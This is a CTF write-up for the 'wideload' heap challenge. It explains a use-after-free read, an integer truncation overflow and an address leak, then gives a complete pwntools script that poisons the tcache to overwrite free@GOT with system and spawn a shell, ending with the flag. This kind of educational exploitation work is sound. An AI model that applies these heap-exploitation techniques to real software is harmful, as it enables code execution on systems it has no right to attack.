Overview
A stripped x86-64 binary (wideload) with PIE and stack-protector, but no RELRO and no FORTIFY_SOURCE. It ships with the Ubuntu 24.04 libc. The application is “CargoDB v1.2”, a fleet manifest manager with four operations:
- Register — allocate a cargo manifest with configurable item count and item size, then read that many bytes of data
- View — print a manifest’s raw bytes
- Inspect — print metadata including the address of
do_registerand the manifest’s heap pointer - Delete — free the manifest’s data buffer
Reconnaissance
$ checksec wideload
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
No RELRO means the GOT is writable. PIE means we need a leak to find binary addresses. Looking at the (prettied up) decomp, two things stand out immediately.
Bug 1: UAF read
do_view checks !manifests[id].data rather than !manifests[id].active:
static void do_view(void) {
// ...
if (!manifests[id].data) { // ← data pointer kept after free
puts("No manifest at that ID.");
return;
}
write(1, manifests[id].data, sz);
do_delete frees the buffer but leaves data intact:
free(manifests[id].data);
// NOTE: data pointer kept
manifests[id].active = 0;
We can read a freed chunk.
Bug 2: Integer truncation overflow
uint16_t alloc_sz = item_count * item_size; // ← 16-bit truncation!
char *data = malloc(alloc_sz ? alloc_sz : 1);
// ...
read_exactly(data, (size_t)item_count * item_size); // ← full size_t
If item_count = 0x1001 and item_size = 0x10, then:
alloc_sz = (0x1001 × 0x10) mod 65536 = 0x10→malloc(16)= a 0x20 chunkread_exactlyreads0x1001 × 0x10 = 65552bytes into a 16-byte buffer
Bug 3: Binary leak via Inspect
do_inspect prints both do_register‘s address (binary base leak) and the manifest’s heap pointer:
printf("Validator : %p\n", (void *)do_register);
printf("Checkpoint : %p\n", (void *)manifests[id].data);
Exploitation
The plan: tcache poisoning to redirect a malloc call to free@GOT, overwrite it with system, then call free("/bin/sh").
Stage 1: Binary leak
Register a large manifest (size 0x450, exceeds tcache max of 0x410) and a small barrier chunk. Inspect the large manifest to read do_register‘s runtime address and compute the binary base.
register(p, 0, 1, 0x450, b"A" * 0x450)
register(p, 1, 1, 0x18, b"B" * 0x18) # barrier prevents top-chunk merge
meta = inspect(p, 0)
binary_base = int(meta[b"Validator"], 16) - 0x136c
free_got_target = binary_base + 0x35f0 # 16-byte aligned, 8 bytes before free@GOT
Stage 2: Libc leak
Free the large chunk → it lands in the unsorted bin (too large for tcache). The fd pointer is set to main_arena + 96. Use the UAF read to extract it:
delete(p, 0)
raw = view(p, 0, 0x450)
fd_val = u64(raw[:8])
libc_base = fd_val - 0x203b20 # main_arena unsorted-bin offset in glibc 2.39
sys_addr = libc_base + libc.sym["system"]
Stage 3: Build the tcache chain
Carve three adjacent 0x20 chunks (X, Y, Z) from the unsorted bin, verify they’re contiguous, then free them in reverse order (Z→Y→X) so tcache[0x20] has count=3 with head=X→Y→Z.
The count=3 is deliberate: glibc 2.39 checks counts[tc_idx] > 0 before popping. We’ll pop X, then Y, leaving count=1 when the poisoned entry (pointing to free@GOT) becomes the head.
register(p, 2, 1, 0x18, b"C"*0x18) # X
register(p, 3, 1, 0x18, b"D"*0x18) # Y
register(p, 4, 1, 0x18, b"Z"*0x18) # Z (count filler)
x_ptr = int(inspect(p, 2)[b"Checkpoint"], 16)
y_ptr = int(inspect(p, 3)[b"Checkpoint"], 16)
delete(p, 4); delete(p, 3); delete(p, 2)
Stage 4: Integer overflow → heap overflow → tcache poison
Register with item_count=0x1001, item_size=0x10. This allocates 16 bytes (pops X from tcache, count 3→2) but reads 65552 bytes. The overflow reaches into Y’s freed chunk header and poisons its fd field.
glibc 2.32+ safe-linking: The fd is stored as target ^ (chunk_addr >> 12). We compute the mangled pointer:
mangled = free_got_target ^ (y_ptr >> 12)
The payload overwrites:
x_ptr+0x00:/bin/sh\0(argument forsystem()when we laterfree(x_ptr))x_ptr+0x18: Y’s size header — preserve0x21x_ptr+0x20: Y’sfd— poison tomangledx_ptr+0x38: Z’s size header — preserve0x21x_ptr+0x58: remainder size —0x401(PREV_INUSE set)x_ptr+0x60/0x68: remainder fd/bk —main_arena(valid unsorted bin list)x_ptr+0x458: D1’s prev_size slot — preserve barrier chunk layout
After this register, the tcache chain is: X→Y→free_got_target, count=2.
Stage 5: Pop Y
register(p, 5, 1, 0x18, b"F"*0x18)
Pops Y from tcache (count 2→1). The head is now free_got_target. Count=1 satisfies the glibc 2.39 guard.
Stage 6: Pop free_got_target → overwrite GOT
got_payload = p64(0) # _dl_runtime_resolve slot (safe to zero; all functions resolved)
got_payload += p64(sys_addr) # free@GOT ← system
register(p, 6, 1, 0x10, got_payload)
malloc(0x10) returns free_got_target = binary_base + 0x35f0 (16-byte aligned, passes aligned_OK()). Before returning, tcache_get zeros e->key at e+8 = free_got_target+8 = free@GOT, temporarily clearing it. Our read_exactly then writes the payload: zero to the _dl_runtime_resolve slot (harmless, all PLT stubs already resolved) and system to free@GOT.
Stage 7: Trigger
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"ID (0-15): ", b"2")
do_delete(2) calls free(manifests[2].data) = free(x_ptr). Since free@GOT = system and x_ptr starts with /bin/sh\0, this executes system("/bin/sh"). Shell!
The solve script
#!/usr/bin/env python3
from pwn import *
LOCAL = False
BIN = "./wideload"
LIBC = "./libc.so.6"
elf = ELF(BIN, checksec=False)
libc = ELF(LIBC, checksec=False)
context.binary = elf
DO_REGISTER_OFF = 0x136c
FREE_GOT_OFF = 0x35f8 # 8-byte aligned but NOT 16-byte
FREE_GOT_TARGET = 0x35f0 # 16-byte aligned addr 8 bytes before free@GOT
UNSORTED_BIN_OFF = 0x203b20 # main_arena unsorted-bin head in glibc 2.39 (Ubuntu 24.04)
def conn():
if LOCAL:
return process(BIN)
return remote("kubenode.mctf.io", 31098)
def register(p, id, item_count, item_size, data):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"ID (0-15): ", str(id).encode())
p.sendlineafter(b"Item count: ", str(item_count).encode())
p.sendlineafter(b"Item size", str(item_size).encode())
p.recvuntil(b"cargo data:\n")
p.send(data)
p.recvuntil(b"registered.\n")
def view(p, id, size):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"ID (0-15): ", str(id).encode())
data = p.recv(size)
p.recv(1) # trailing newline
return data
def inspect(p, id):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"ID (0-15): ", str(id).encode())
out = p.recvuntil(b"===", drop=True)
result = {}
for line in out.split(b"\n"):
if b":" in line:
k, _, v = line.partition(b":")
result[k.strip()] = v.strip()
return result
def delete(p, id):
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"ID (0-15): ", str(id).encode())
p.recvuntil(b"deleted.\n")
# ─── exploit ─────────────────────────────────────────────────────────────────
def exploit():
p = conn()
# Register a large chunk (for libc leak) and a barrier.
# Inspect the large manifest to leak do_register's address → binary base.
register(p, 0, 1, 0x450, b"A" * 0x450) # id=0: large chunk D0
register(p, 1, 1, 0x18, b"B" * 0x18) # id=1: barrier D1
meta = inspect(p, 0)
binary_base = int(meta[b"Validator"], 16) - DO_REGISTER_OFF
free_got = binary_base + FREE_GOT_OFF
free_got_target = binary_base + FREE_GOT_TARGET
log.success(f"binary base : {hex(binary_base)}")
log.success(f"free@got : {hex(free_got)}")
log.success(f"target : {hex(free_got_target)}")
# Free D0 → unsorted bin. View it (UAF) → fd = main_arena unsorted head.
delete(p, 0)
raw = view(p, 0, 0x450)
fd_val = u64(raw[:8])
libc_base = fd_val - UNSORTED_BIN_OFF
sys_addr = libc_base + libc.sym["system"]
ma96 = libc_base + UNSORTED_BIN_OFF
log.success(f"libc base : {hex(libc_base)}")
log.success(f"system : {hex(sys_addr)}")
# X, Y, Z are adjacent 0x20 tcache chunks carved from D0's unsorted region.
# Z keeps tcache[0x20] count=3 before the pops, ensuring count>0 when
# free@got_target becomes the head (glibc 2.39 requires count>0 for tcache pop).
register(p, 2, 1, 0x18, b"C" * 0x18) # X
register(p, 3, 1, 0x18, b"D" * 0x18) # Y
register(p, 4, 1, 0x18, b"Z" * 0x18) # Z (count filler)
x_ptr = int(inspect(p, 2)[b"Checkpoint"], 16)
y_ptr = int(inspect(p, 3)[b"Checkpoint"], 16)
z_ptr = int(inspect(p, 4)[b"Checkpoint"], 16)
log.info(f"X user ptr : {hex(x_ptr)}")
log.info(f"Y user ptr : {hex(y_ptr)}")
log.info(f"Z user ptr : {hex(z_ptr)}")
assert y_ptr == x_ptr + 0x20, f"expected Y = X+0x20, got diff {y_ptr - x_ptr:#x}"
assert z_ptr == x_ptr + 0x40, f"expected Z = X+0x40, got diff {z_ptr - x_ptr:#x}"
delete(p, 4) # Z → tcache (count 1)
delete(p, 3) # Y → tcache (count 2)
delete(p, 2) # X → tcache (count 3, head)
mangled = free_got_target ^ (y_ptr >> 12)
payload = b"/bin/sh\x00" # [0x00] /bin/sh for system() trigger
payload += b"\x00" * 0x10 # [0x08] X user data padding
payload += p64(0x21) # [0x18] Y size — preserve
payload += p64(mangled) # [0x20] Y fd — poison
payload += p64(0) # [0x28] Y key
payload += p64(0) # [0x30] Z prev_size
payload += p64(0x21) # [0x38] Z size — preserve
payload += p64(0) # [0x40] Z fd (orphaned)
payload += p64(0) # [0x48] Z key (orphaned)
payload += p64(0) # [0x50] Remainder prev_size
payload += p64(0x401) # [0x58] Remainder size (0x460-0x60=0x400 | PREV_INUSE)
payload += p64(ma96) # [0x60] Remainder fd
payload += p64(ma96) # [0x68] Remainder bk
payload = payload.ljust(0x458, b"\x00")
payload += p64(0x20) # [0x458] D1 size — preserve
total = 0x1001 * 0x10 # 65552 bytes
payload = payload.ljust(total, b"\x00")
# malloc(0x10) pops X (count 3→2); overflow chain becomes X→Y→free@got_target, Z orphaned
register(p, 2, 0x1001, 0x10, payload)
register(p, 5, 1, 0x18, b"F" * 0x18)
# tcache_get zeros *(free_got_target+8) = free@GOT temporarily; our write restores it.
got_payload = p64(0) # _dl_runtime_resolve slot (safe, all resolved)
got_payload += p64(sys_addr) # free@GOT ← system
register(p, 6, 1, 0x10, got_payload)
log.info("triggering shell...")
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"ID (0-15): ", b"2")
p.interactive()
exploit()
Flag
MetaCTF{tc4ch3_p01s0n_d3l1v3r3d_0n_t1m3}